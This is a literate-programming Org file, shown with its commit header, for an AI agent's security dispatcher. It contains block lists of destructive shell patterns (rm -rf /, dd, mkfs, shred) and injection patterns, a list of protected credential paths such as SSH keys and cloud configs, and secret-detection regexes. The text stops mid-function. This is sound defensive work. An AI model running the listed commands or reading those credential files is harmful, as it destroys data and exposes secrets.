Amr Gharbeia
8aed017ccd
*tag-trigger-count* hash table tracks per-session tag triggers. tag-trigger-record increments count, called from dispatcher-privacy-severity on each matched tag. /tags shows trigger count per tag. tag-categories-load now falls back to PRIVACY_FILTER_TAGS env var when TAG_CATEGORIES is not set (backward compat). All entries default to :block severity. - security-dispatcher: *tag-trigger-count*, tag-trigger-record, updated tag-categories-load, wired dispatcher-privacy-severity +2 tests (trigger record, privacy fallback) - channel-tui-main: /tags shows trigger counts - Core: 88/88 TUI Main: 102/102
924 lines
42 KiB
Org Mode
924 lines
42 KiB
Org Mode
#+TITLE: SKILL: Security Dispatcher (org-skill-security-dispatcher.org)
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#+AUTHOR: Agent
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#+FILETAGS: :system:dispatcher:authorization:autonomy:
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#+PROPERTY: header-args:lisp :tangle ../lisp/security-dispatcher.lisp
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* Deep Reasoning: Beyond Permission
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The Dispatcher is the physical security layer of Passepartout. While the Policy skill ensures an action is "legal" (e.g., "Yes, you are allowed to send a Telegram message"), the Dispatcher ensures the action is "safe" by inspecting the payload content via Deep Packet Inspection.
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Every action that reaches the Dispatcher has already been approved by the Reasoning pipeline. The LLM generated it, the deterministic gates verified it, and the Act stage is about to execute it. The Dispatcher is the last gate before the action touches the physical world.
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The Dispatcher runs ten blocking checks (eleven including the warn-only REPL lint):
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1. **REPL verification** — warns if a ~defun~ is written without REPL prototyping (warn only, doesn't block)
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2. **Lisp syntax** — blocks writes with unbalanced parens
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3. **Secret paths** — blocks reads to ~.env~, SSH keys, PEM files, etc.
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4. **Self-build safety** — blocks writes to ~core-*~ files unless HITL approved (active when ~SELF_BUILD_MODE=true~)
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5. **Content exposure** — scans for API keys, PGP blocks, tokens
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6. **Vault secrets** — matches against stored credentials
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7. **Privacy tags** — blocks ~@personal~ tagged content
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8. **Privacy text** — warns if text references privacy tag names
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9. **Shell safety** — blocks destructive commands and injection patterns
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10. **Network exfil** — blocks unwhitelisted outbound connections
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11. **High-impact approval** — requires HITL for ~:shell~, ~:system :eval~, and ~:emacs :eval~
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The Dispatcher also handles the **Flight Plan** system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve.
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** Contract
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1. (wildcard-match pattern path): returns T if ~path~ matches ~pattern~,
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where ~*~ in pattern matches any number of characters.
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2. (dispatcher-check-secret-path filepath): returns the matching
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protected pattern if ~filepath~ matches any entry in
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~*dispatcher-protected-paths*~, nil otherwise.
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3. (dispatcher-check-shell-safety cmd): returns ~(:matched <names> :severity <tier>)~
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if ~cmd~ triggers any entry in ~*dispatcher-shell-blocked*~, nil if safe.
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Severity tiers: ~:catastrophic~ > ~:dangerous~ > ~:moderate~ > ~:harmless~.
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4. (dispatcher-check-privacy-tags tags-list): returns T if any tag in
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~tags-list~ matches a privacy filter tag, nil otherwise.
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5. (dispatcher-check-network-exfil cmd): returns T (unsafe) if ~cmd~
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contains an HTTP/HTTPS/FTP URL targeting an unwhitelisted domain.
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6. (dispatcher-gate action context): main deterministic gate — routes by
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sensor and applies ~dispatcher-check~ for safety verification.
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7. (hitl-create blocked-action): returns a plist with ~:token~ and
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~:message~ for user-facing HITL approval.
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8. (hitl-approve token): approves and re-injects a pending action. Returns
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T if found, nil if invalid token.
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9. (hitl-deny token): denies and removes a pending action. Returns T if
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found, nil if invalid.
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** Boundaries
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- Does NOT handle the gate approval routing — that is ~core-reason.org~.
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- Does NOT persist HITL tokens — they live in memory only.
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* Implementation
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** Package Context
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#+begin_src lisp
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(in-package :passepartout)
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#+end_src
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** Security Configuration — network whitelist
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Domains that the Dispatcher considers safe for outbound connections. Network calls to unlisted domains are blocked or queued for approval.
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defvar *dispatcher-network-whitelist*
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'("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
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"Domains the Dispatcher considers safe for outbound connections.")
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#+end_src
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** Privacy filter tags (*dispatcher-privacy-tags*)
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List of tag strings that mark content as private. Content with these tags is filtered from the LLM context window. Configurable via ~PRIVACY_FILTER_TAGS~ env var.
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defvar *dispatcher-privacy-tags*
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(let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
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(if env
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(uiop:split-string env :separator '(#\,))
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'("@personal")))
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"Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")
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#+end_src
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** Protected file paths (*dispatcher-protected-paths*)
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Path patterns (with * wildcards) that are blocked from file reads. Covers SSH keys, PEM/PGP files, credentials, tokens, env files, and cloud configs.
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defvar *dispatcher-protected-paths*
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'(".env" ".env.example" ".env.local" ".env.production"
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"*credentials*" "*cred*"
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"*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
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"*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
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"secring.*" "pubring.*" "private-keys-v1.d/*"
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"token*" "*secret*" "*token*"
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".netrc" ".git-credentials" "auth.json"
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".aws/credentials" ".aws/config"
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".kube/config" "kubeconfig"
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"*.cert" "*.crt" "*.csr"
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"*password*" "*passwd*")
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"Path patterns blocked from file reads.
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Core file protection (core-*.org, core-*.lisp) handled separately by
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dispatcher-check-core-path for self-build safety.")
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#+end_src
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** Content exposure patterns (*dispatcher-exposure-patterns*)
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Named regex patterns for scanning content for secret exposure. Each entry is a (name regex) pair. Matches are reported by name so downstream code can act on specific categories.
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defvar *dispatcher-exposure-patterns*
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'((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
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(:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
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(:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
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(:openai-key "sk-[A-Za-z0-9-]{20,}")
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(:google-key "AIza[0-9A-Za-z_-]{35}")
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(:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
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(:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
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(:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
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(:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
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"Named regex patterns for secret exposure detection.")
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#+end_src
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** Shell safety — timeout
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Maximum seconds a shell command is allowed to run before being killed.
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defvar *dispatcher-shell-timeout* 30
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"Maximum seconds for a shell command before timeout.")
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#+end_src
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** Shell safety — output limit
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Maximum characters of shell command output to capture. Prevents memory exhaustion from infinite output.
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defvar *dispatcher-shell-max-output* 100000
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"Maximum characters of shell output to capture.")
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#+end_src
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** Shell safety — blocked patterns
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Destructive and injection patterns that are blocked in shell commands. Covers ~rm -rf /~, ~dd~, ~mkfs~, ~shred~, backtick injection, and ~$()~ subshell injection.
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defvar *dispatcher-shell-blocked*
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'((:destructive-rm "\\brm\\s+-rf\\s+/" :severity :catastrophic)
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(:destructive-dd "\\bdd\\s+if=" :severity :catastrophic)
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(:destructive-mkfs "\\bmkfs\\." :severity :catastrophic)
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(:disk-wipe "\\bshred\\s+/dev/" :severity :catastrophic)
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(:disk-wipe-b "\\bwipefs\\s+/dev/" :severity :catastrophic)
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(:injection-backtick "`[^`]+`" :severity :dangerous)
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(:injection-subshell "\\$\\([^)]+\\)" :severity :dangerous))
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"Destructive and injection patterns blocked in shell commands.
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Each entry is (name regex :severity tier) where tier is one of:
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:catastrophic, :dangerous, :moderate, :harmless.")
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#+end_src
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** Secret Path Check (dispatcher-check-secret-path)
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun wildcard-match (pattern path)
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"Matches PATH against PATTERN where * matches any characters."
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(let ((regex (cl-ppcre:regex-replace-all
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"\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
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(cl-ppcre:scan regex path)))
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#+end_src
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** Self-Build Safety Boundary (v0.4.0)
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The Dispatcher now protects the core pipeline from unapproved modification. This is the operational realization of "thin harness, fat skills" — the harness is thin enough for a human to audit, and the Dispatcher ensures it stays that way.
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The ~core-*~ files implement the Perceive-Reason-Act cycle, the Merkle-tree memory, the skill engine loader, and the Dispatcher gate stack itself. If the agent (or a hallucination) modifies these files, the agent loses its ability to reason about and fix the corruption. The Dispatcher blocks any file write or shell command targeting ~core-*.org~ or ~core-*.lisp~ — detected by ~dispatcher-check-core-path~ using direct regex matching (~core-.*\.(org|lisp)~).
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Unlike secret path protection (Vector 2), which produces a hard ~:LOG~ block, core file writes produce a ~:approval-required~ Flight Plan (Vector 2b). The human reviews the proposed core change in an Org buffer before approving — the same mechanism that governs shell commands and network exfiltration.
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The ~SELF_BUILD_MODE~ env var controls this protection:
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- ~SELF_BUILD_MODE=true~ (default ~false~): core path protection active — writes require HITL approval
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- ~SELF_BUILD_MODE=false~: protection disabled — useful during development when the human is manually editing core files
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** dispatcher-check-core-path
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;; REPL-VERIFIED: 2026-05-06T18:00:00
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#+begin_src lisp
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(defun dispatcher-check-core-path (filepath)
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"Returns T if FILEPATH matches a core-* self-build protected pattern."
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(when (and filepath (stringp filepath))
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(or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-"))
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(cl-ppcre:scan "core-.*\\.(org|lisp)" filepath))))
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#+end_src
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** dispatcher-check-secret-path
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun dispatcher-check-secret-path (filepath)
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"Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
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(when (and filepath (stringp filepath))
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(some (lambda (pattern)
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(when (wildcard-match pattern filepath)
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pattern))
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*dispatcher-protected-paths*)))
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#+end_src
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#+end_src
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** Content Exposure Scanner (dispatcher-exposure-scan)
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun dispatcher-exposure-scan (text)
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"Scans TEXT for patterns matching known secret formats.
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Returns a list of matched category keywords."
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(when (and text (stringp text) (> (length text) 0))
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(let ((matches nil))
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(dolist (entry *dispatcher-exposure-patterns*)
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(let ((name (first entry))
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(regex (second entry)))
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(when (cl-ppcre:scan regex text)
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(push name matches))))
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matches)))
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#+end_src
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** Vault Secret Scanning (dispatcher-vault-scan)
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun dispatcher-vault-scan (text)
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"Scans TEXT for known secrets from the vault."
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(when (and text (stringp text))
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(let ((found-secret nil))
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(maphash (lambda (key val)
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(when (and val (stringp val) (> (length val) 5))
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(when (search val text)
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(setf found-secret key))))
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*vault-memory*)
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found-secret)))
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#+end_src
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** Privacy Tag Check (dispatcher-check-privacy-tags)
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun dispatcher-check-privacy-tags (tags-list)
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"Returns T if any tag in TAGS-LIST matches a privacy filter tag."
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(when (and tags-list (listp tags-list))
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(some (lambda (tag)
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(some (lambda (private)
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(or (string-equal tag private)
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(search private tag :test #'string-equal)))
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*dispatcher-privacy-tags*))
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tags-list)))
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#+end_src
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** v0.7.2 — Tag Stack (Severity Tiers)
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#+begin_src lisp
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(defvar *tag-categories* nil
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"Alist of (tag . severity) from TAG_CATEGORIES env var.
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Severity: :block (filter), :warn (log+include), :log (silent record).")
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(defvar *tag-trigger-count* (make-hash-table :test 'equal)
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"Per-session count of how many times each tag was triggered.")
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(defun tag-trigger-record (tag)
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"Increment the trigger count for TAG."
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(incf (gethash (string-downcase tag) *tag-trigger-count* 0)))
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(defun tag-categories-load ()
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"Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
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(let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
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(uiop:getenv "PRIVACY_FILTER_TAGS"))))
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(setf *tag-categories*
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(when raw
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(mapcar (lambda (entry)
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(let ((parts (uiop:split-string entry :separator '(#\:))))
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(if (>= (length parts) 2)
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(cons (first parts) (intern (string-upcase (second parts)) :keyword))
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(cons entry :block))))
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(uiop:split-string raw :separator '(#\, #\;)))))))
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(defun tag-category-severity (tag)
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"Return the severity keyword for TAG, or NIL if not found."
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(cdr (assoc tag *tag-categories* :test #'string-equal)))
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(defun dispatcher-privacy-severity (tags-list)
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"Return the highest-severity tag match: :block > :warn > :log, or nil.
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Records trigger counts for matched tags."
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(when (and tags-list (listp tags-list))
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(let ((highest nil))
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(dolist (tag tags-list)
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(let ((sev (tag-category-severity tag)))
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(when sev
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(tag-trigger-record tag))
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(when (or (eq sev :block)
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(and (eq sev :warn) (not (eq highest :block)))
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(and (eq sev :log) (null highest)))
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(setf highest sev))))
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highest)))
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(tag-categories-load)
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#+end_src
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** dispatcher-check-text-for-privacy
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun dispatcher-check-text-for-privacy (text)
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"Scans TEXT for leaked privacy-tagged content."
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(when (and text (stringp text))
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(let ((lower (string-downcase text)))
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(some (lambda (tag)
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(search (string-downcase tag) lower))
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*dispatcher-privacy-tags*))))
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#+end_src
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#+end_src
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** Lisp Validation Gate (dispatcher-check-lisp-valid)
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun org-blocks-extract (content)
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"Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
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(when (and content (stringp content))
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(let ((lines (uiop:split-string content :separator '(#\Newline)))
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(in-block nil)
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(code ""))
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(dolist (line lines)
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(let ((clean (string-trim '(#\Space #\Tab) line)))
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(cond
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((search "#+begin_src lisp" clean)
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(setf in-block t))
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((search "#+end_src" clean)
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(setf in-block nil))
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(in-block
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(setf code (concatenate 'string code line (string #\Newline)))))))
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(when (> (length code) 0) code))))
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#+end_src
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** dispatcher-check-lisp-valid
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun dispatcher-check-lisp-valid (filepath content)
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"Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
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Returns the validation result plist or nil if not applicable."
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(when (and content (stringp content) (> (length content) 0))
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(let ((to-validate
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(cond
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((uiop:string-suffix-p filepath ".lisp") content)
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((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
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(t nil))))
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(when to-validate
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(multiple-value-bind (valid-p err) (ignore-errors
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(let ((*read-eval* nil))
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(with-input-from-string (s (format nil "(progn ~a)" to-validate))
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(loop for form = (read s nil :eof) until (eq form :eof)))
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(values t nil)))
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(unless valid-p
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(list :status :error :reason err)))))))
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#+end_src
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#+end_src
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** REPL Verification Gate (dispatcher-check-repl-verified)
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun org-has-defuns-p (content)
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"Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
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(when (and content (stringp content))
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(search "defun " content :test #'char-equal)))
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#+end_src
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** dispatcher-check-repl-verified
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun dispatcher-check-repl-verified (action filepath content)
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"Warns if writing a defun to an Org file without :repl-verified metadata."
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(let ((repl-verified (getf action :repl-verified)))
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(when (and filepath
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(uiop:string-suffix-p filepath ".org")
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(org-has-defuns-p content)
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(not repl-verified))
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(list :type :LOG
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:payload (list :level :warn
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:text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))
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#+end_src
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#+end_src
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** Shell Safety Check (dispatcher-check-shell-safety)
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;; REPL-VERIFIED: 2026-05-03T13:00:00
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#+begin_src lisp
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(defun dispatcher-check-shell-safety (cmd)
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"Checks a shell command for destructive patterns and injection vectors.
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Returns (:matched <names> :severity <tier>) when dangerous patterns found,
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or nil if safe. Severity is the highest tier among matched patterns:
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:catastrophic > :dangerous > :moderate > :harmless."
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(when (and cmd (stringp cmd) (> (length cmd) 0))
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(let ((matches nil)
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(severity :harmless))
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(dolist (entry *dispatcher-shell-blocked*)
|
|
(let ((name (first entry))
|
|
(regex (second entry))
|
|
(tier (getf entry :severity)))
|
|
(when (cl-ppcre:scan regex cmd)
|
|
(push name matches)
|
|
(setf severity (dispatcher-severity-max severity (or tier :moderate))))))
|
|
(when matches
|
|
(list :matched matches :severity severity)))))
|
|
#+end_src
|
|
|
|
** Severity Comparison (dispatcher-severity-max)
|
|
;; REPL-VERIFIED: 2026-05-07T17:00:00
|
|
#+begin_src lisp
|
|
(defvar *dispatcher-severity-order*
|
|
(list :harmless 0 :moderate 1 :dangerous 2 :catastrophic 3)
|
|
"Severity tier ordering for comparison. Higher = more severe.")
|
|
|
|
(defun dispatcher-severity-max (a b)
|
|
"Returns the higher of two severity tiers."
|
|
(let ((ra (or (getf *dispatcher-severity-order* a) 0))
|
|
(rb (or (getf *dispatcher-severity-order* b) 0)))
|
|
(if (>= rb ra) b a)))
|
|
#+end_src
|
|
|
|
** Network Check (dispatcher-check-network-exfil)
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defun dispatcher-check-network-exfil (cmd)
|
|
"Detects if CMD attempts to contact an unwhitelisted external host."
|
|
(when (and cmd (stringp cmd))
|
|
(multiple-value-bind (match regs)
|
|
(cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
|
|
(declare (ignore match))
|
|
(when regs
|
|
(let ((domain (aref regs 1)))
|
|
(not (some (lambda (safe) (search safe domain))
|
|
*dispatcher-network-whitelist*)))))))
|
|
#+end_src
|
|
|
|
** Main Security Gate (dispatcher-check)
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defun dispatcher-check (action context)
|
|
"Security gate for high-risk actions.
|
|
Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
|
|
2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
|
|
6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
|
|
(declare (ignore context))
|
|
(let* ((read-only-auto-pass
|
|
(let ((tool-name (proto-get (proto-get action :payload) :tool)))
|
|
(when (and tool-name (tool-read-only-p tool-name))
|
|
(return-from dispatcher-check action))))
|
|
(target (proto-get action :target))
|
|
(payload (proto-get action :payload))
|
|
(text (or (proto-get payload :text) (proto-get action :text)))
|
|
(filepath (or (proto-get payload :filepath)
|
|
(when (equal (proto-get payload :tool) "read-file")
|
|
(proto-get (proto-get payload :args) :filepath))
|
|
(when (equal (proto-get payload :tool) "write-file")
|
|
(proto-get (proto-get payload :args) :filepath))))
|
|
(content (when filepath (proto-get (proto-get payload :args) :content)))
|
|
(cmd (or (proto-get payload :cmd)
|
|
(when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
|
|
(proto-get (proto-get payload :args) :cmd))))
|
|
(approved (proto-get action :approved))
|
|
(tags (proto-get payload :tags))
|
|
(lisp-valid (when (and filepath content (not approved))
|
|
(dispatcher-check-lisp-valid filepath content)))
|
|
(repl-lint (when (and filepath content (not approved))
|
|
(dispatcher-check-repl-verified action filepath content))))
|
|
(cond
|
|
(approved action)
|
|
|
|
;; Vector 0: REPL verification lint (warn, don't block)
|
|
(repl-lint
|
|
(log-message "DISPATCHER: ~a" (proto-get repl-lint :text))
|
|
action)
|
|
|
|
;; Vector 1: Lisp syntax validation (block bad lisp writes)
|
|
((and lisp-valid (eq (getf lisp-valid :status) :error))
|
|
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
|
|
|
|
;; Vector 2: File read to a protected secret path
|
|
((and filepath (dispatcher-check-secret-path filepath))
|
|
(let ((matched (dispatcher-check-secret-path filepath)))
|
|
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
|
|
|
|
;; Vector 2b: Self-build safety — core file writes require HITL approval
|
|
((and filepath content
|
|
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
|
|
(dispatcher-check-core-path filepath))
|
|
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
|
|
(list :type :EVENT :level :approval-required
|
|
:payload (list :sensor :approval-required :action action
|
|
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
|
|
|
|
;; Vector 3: Content contains secret patterns
|
|
((and text (dispatcher-exposure-scan text))
|
|
(let ((matched (dispatcher-exposure-scan text)))
|
|
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text "Action blocked: Content contains potential secret exposure."))))
|
|
|
|
;; Vector 4: Content contains vault secrets
|
|
((and text (dispatcher-vault-scan text))
|
|
(let ((secret-name (dispatcher-vault-scan text)))
|
|
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
|
|
|
|
;; Vector 5: Privacy-tagged content (severity tiers)
|
|
((and tags (fboundp 'dispatcher-privacy-severity))
|
|
(let ((severity (dispatcher-privacy-severity tags)))
|
|
(cond
|
|
((eq severity :block)
|
|
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
|
|
((eq severity :warn)
|
|
(log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
|
|
action)
|
|
((eq severity :log)
|
|
(log-message "PRIVACY: @tag ~a (logged)" tags)
|
|
action))))
|
|
|
|
;; Vector 6: Text leaks privacy tag names
|
|
((and text (dispatcher-check-text-for-privacy text))
|
|
(log-message "PRIVACY WARNING: Text may contain leaked private content")
|
|
(list :type :LOG
|
|
:payload (list :level :warn
|
|
:text "Action blocked: Text may reference private content.")))
|
|
|
|
;; Vector 7: Shell destructive/injection patterns
|
|
((and cmd (dispatcher-check-shell-safety cmd))
|
|
(let ((matched (dispatcher-check-shell-safety cmd)))
|
|
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
|
|
|
|
;; Vector 8: Network exfiltration
|
|
((and (or (eq target :shell)
|
|
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
|
|
(dispatcher-check-network-exfil cmd))
|
|
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
|
|
(list :type :EVENT :level :approval-required
|
|
:payload (list :sensor :approval-required :action action)))
|
|
|
|
;; Vector 8: High-impact action approval
|
|
((or (member target '(:shell))
|
|
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
|
|
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
|
|
(and (eq target :system) (eq (proto-get payload :action) :eval)))
|
|
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
|
|
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
|
|
(t action))))
|
|
|
|
#+end_src
|
|
|
|
** Approval Processing (dispatcher-approvals-process)
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defun dispatcher-approvals-process ()
|
|
"Scans for APPROVED flight plans and re-injects them."
|
|
(let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
|
|
(found-any nil))
|
|
(dolist (node approved-nodes)
|
|
(let* ((attrs (memory-object-attributes node))
|
|
(tags (getf attrs :TAGS))
|
|
(action-str (getf attrs :ACTION)))
|
|
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
|
|
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
|
|
(let ((action (ignore-errors (read-from-string action-str))))
|
|
(when action
|
|
(setf (getf action :approved) t)
|
|
(stimulus-inject (list :type :EVENT
|
|
:payload (list :sensor :approval-required
|
|
:action action
|
|
:approved t)
|
|
:meta (list :source :system)))
|
|
(setf (getf (memory-object-attributes node) :TODO) "DONE")
|
|
(setq found-any t))))))
|
|
found-any))
|
|
#+end_src
|
|
|
|
** Flight Plan Creation (dispatcher-flight-plan-create)
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defun dispatcher-flight-plan-create (blocked-action)
|
|
"Creates a Flight Plan node for manual approval in Emacs."
|
|
(let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
|
|
(log-message "DISPATCHER: Creating flight plan node '~a'..." id)
|
|
(list :type :REQUEST :target :emacs
|
|
:payload (list :action :insert-node :id id
|
|
:attributes (list :TITLE "Flight Plan: High-Risk Action"
|
|
:TODO "PLAN" :TAGS '("FLIGHT_PLAN")
|
|
:ACTION (format nil "~s" blocked-action))))))
|
|
#+end_src
|
|
|
|
** HITL In-Memory Store (Gateway-Agnostic Approval)
|
|
|
|
For TUI, CLI, and Signal/Telegram users who don't have Emacs. Pending
|
|
actions are stored in memory with a correlation token. The user replies
|
|
with the token to approve or deny.
|
|
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defvar *hitl-pending* (make-hash-table :test 'equal)
|
|
"Maps correlation token → blocked-action plist for pending HITL approvals.")
|
|
#+end_src
|
|
|
|
*** hitl-create
|
|
|
|
A new HITL entry is created whenever the deterministic engine returns an
|
|
~:approval-required~ level action. A correlation token is generated and
|
|
the blocked action is stored for later retrieval by ~hitl-approve~ or
|
|
~hitl-deny~.
|
|
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defun hitl-create (blocked-action)
|
|
"Saves a blocked action for HITL approval. Returns a plist with
|
|
:token (the correlation ID) and :message (user-facing text)."
|
|
(let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
|
|
(setf (gethash token *hitl-pending*) blocked-action)
|
|
(log-message "HITL: Created pending approval ~a" token)
|
|
(list :token token
|
|
:message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
|
|
#+end_src
|
|
|
|
*** hitl-approve
|
|
|
|
When the user sends an approval command with a valid token, the blocked
|
|
action is retrieved, stamped with ~:approved t~, and re-injected into the
|
|
pipeline via ~stimulus-inject~. The perceive gate detects the
|
|
~:approval-required~ sensor with ~:approved t~ and processes it.
|
|
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defun hitl-approve (token)
|
|
"Approves a pending HITL action by token. Re-injects with :approved t.
|
|
Returns T if found and approved, nil if token is invalid."
|
|
(let ((action (gethash token *hitl-pending*)))
|
|
(if action
|
|
(progn
|
|
(remhash token *hitl-pending*)
|
|
(setf (getf action :approved) t)
|
|
(stimulus-inject (list :type :EVENT
|
|
:payload (list :sensor :approval-required
|
|
:action action
|
|
:approved t)
|
|
:meta (list :source :system)))
|
|
(log-message "HITL: Approved ~a — re-injected" token)
|
|
t)
|
|
(progn
|
|
(log-message "HITL: Token ~a not found in pending" token)
|
|
nil))))
|
|
#+end_src
|
|
|
|
*** hitl-deny
|
|
|
|
Denial removes the pending action from the store without re-injecting it.
|
|
The action is silently discarded and the token becomes invalid for future
|
|
use.
|
|
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defun hitl-deny (token)
|
|
"Denies a pending HITL action by token. Removes it from the pending store.
|
|
Returns T if found, nil if token is invalid."
|
|
(if (gethash token *hitl-pending*)
|
|
(progn
|
|
(remhash token *hitl-pending*)
|
|
(log-message "HITL: Denied ~a" token)
|
|
t)
|
|
(progn
|
|
(log-message "HITL: Token ~a not found in pending" token)
|
|
nil)))
|
|
#+end_src
|
|
|
|
*** hitl-handle-message
|
|
|
|
The universal entry point for HITL commands arriving from any gateway.
|
|
Parses the text for ~/approve~, ~/deny~, ~approve~, or ~deny~ followed
|
|
by a token, dispatches to ~hitl-approve~ or ~hitl-deny~, and returns T
|
|
if the message was a HITL command (so the gateway knows not to inject it
|
|
into the main pipeline).
|
|
|
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
|
#+begin_src lisp
|
|
(defun hitl-handle-message (text &optional source)
|
|
"Checks if TEXT is a HITL approval or denial command.
|
|
If it matches, processes the command and returns T.
|
|
Otherwise returns nil (text should be handled as normal input).
|
|
Recognized formats:
|
|
/approve HITL-abc123
|
|
/deny HITL-abc123
|
|
approve HITL-abc123
|
|
deny HITL-abc123"
|
|
(let ((text (string-trim '(#\Space) (or text ""))))
|
|
(when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
|
|
(uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
|
|
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
|
(token (when (> (length parts) 1) (second parts))))
|
|
(when (and token (hitl-approve token))
|
|
(log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
|
|
(return-from hitl-handle-message t))))
|
|
(when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
|
|
(uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
|
|
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
|
(token (when (> (length parts) 1) (second parts))))
|
|
